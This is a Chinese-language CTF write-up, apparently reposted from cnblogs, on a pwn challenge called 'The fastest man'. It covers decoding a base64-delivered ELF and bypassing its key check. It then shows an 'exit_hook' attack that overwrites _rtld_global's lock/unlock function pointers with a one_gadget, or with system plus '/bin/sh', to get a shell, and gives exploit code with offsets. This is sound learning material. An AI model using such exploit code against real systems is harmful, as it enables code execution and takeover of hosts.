首页 > 其他分享 >exit_hook攻击

exit_hook攻击

时间:2023-02-01 12:44:34浏览次数:55  
标签:recursive 攻击 lock global libc hook base exit rtld

The fastest man

首先这个题没有附件,nc后是一段base64的编码

image

f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAEAhAAAAAAABAAAAAAAAAADghAAAAAAAAAAAAAEAAOAAJAEAAGwAaAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgAAAAAAAAAAwAAAAQAAAA4AgAAAAAAADgCQAAAAAAAOAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAABQPAAAAAAAAFA8AAAAAAAAAACAAAAAAAAEAAAAGAAAAoB0AAAAAAACgHWAAAAAAAKAdYAAAAAAAcAIAAAAAAACQAgAAAAAAAAAAIAAAAAAAAgAAAAYAAAC4HQAAAAAAALgdYAAAAAAAuB1gAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAAAAAEAAAABAAAAFQCAAAAAAAAVAJAAAAAAABUAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAAAFDldGQEAAAAnA0AAAAAAACcDUAAAAAAAJwNQAAAAAAARAAAAAAAAABEAAAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABS5XRkBAAAAKAdAAAAAAAAoB1gAAAAAACgHWAAAAAAAGACAAAAAAAAYAIAAAAAAAABAAAAAAAAAC9saWI2NC9sZC1saW51eC14ODYtNjQuc28uMgAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAAGAAAAIAAAAAQAAAAUAAAAAwAAAEdOVQBo/RMUtyli79tDSReKQt7Tde0aJQMAAAAFAAAAAgAAAAcAAAAAIoJUEENAtQISAASABAiABQAAAAsAAAAQAAAAKB2MHBB7nHxATZ18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AAAAAAAAAAAAAAAAA=

求助misc佬在线字节码转elf

程序除了pie全开

image

首先要绕过密码,本地VklhvaYq直接过了,但打远程时发现key不对

对比了一下发现base64码有一段是不一样的,推测此处为key的码

image

下面有一次任意写,改exit为ogg就可以通了(虽然没有exit_hook这个东西,但可以说是攻击exit_hook了)

exit hook - 狒猩橙 - 博客园 (cnblogs.com)师傅这学到的改rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive 为 one_gadget

exit 会调用属于_rtld_global结构体的rtld_lock_default_lock_recursive 和rtld_lock_default_unlock_recursive

image

我们获取rtld_lock_default_lock_recursive地址后直接将ogg写入

image

ogg不对会触发canary( ?),多试几个one_gadget就行了

可惜当时远程没出,没时间试libc版本了(不给libc版本好ex)

全场唯一解是amazh师傅出的太强了

exp:

ru('key: ')
sl(b'VklhvaYq')
ru('Give you another chance:(')
sys_addr = int(r(14),16)
li(hex(sys_addr))
libc_base = sys_addr-0x52290
li('libc_base = '+hex(libc_base))

ogs = [0xe3afe,0xe3b01,0xe3b04]
ogg = libc_base + 0xe3afe

exit = libc_base + 0x243F68
li('exit '+hex(exit))


ru('give me a address:')

ld_base = libc_base+0x213000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10


sl(str(_dl_rtld_lock_recursive))
#dbg()
sla('give me a value:',str(ogg))

itr()

image

另一种需要二次任意写,改rtld_lock_default_lock_recursive ​​或 rtld_lock_default_unlock_recursive​为system​,_dl_load_lock​为/bin/sh\x00

ld_base = libc_base + 0xffffffff
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
_dl_load_lock = _rtld_global + 0x908

#二次任意写
s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(libc_base + libc.sym['system']))

s.send(p64(_dl_load_lock))
s.send(b'/bin/sh\x00')

标签:recursive,攻击,lock,global,libc,hook,base,exit,rtld
From: https://www.cnblogs.com/shuzM/p/17082174.html

相关文章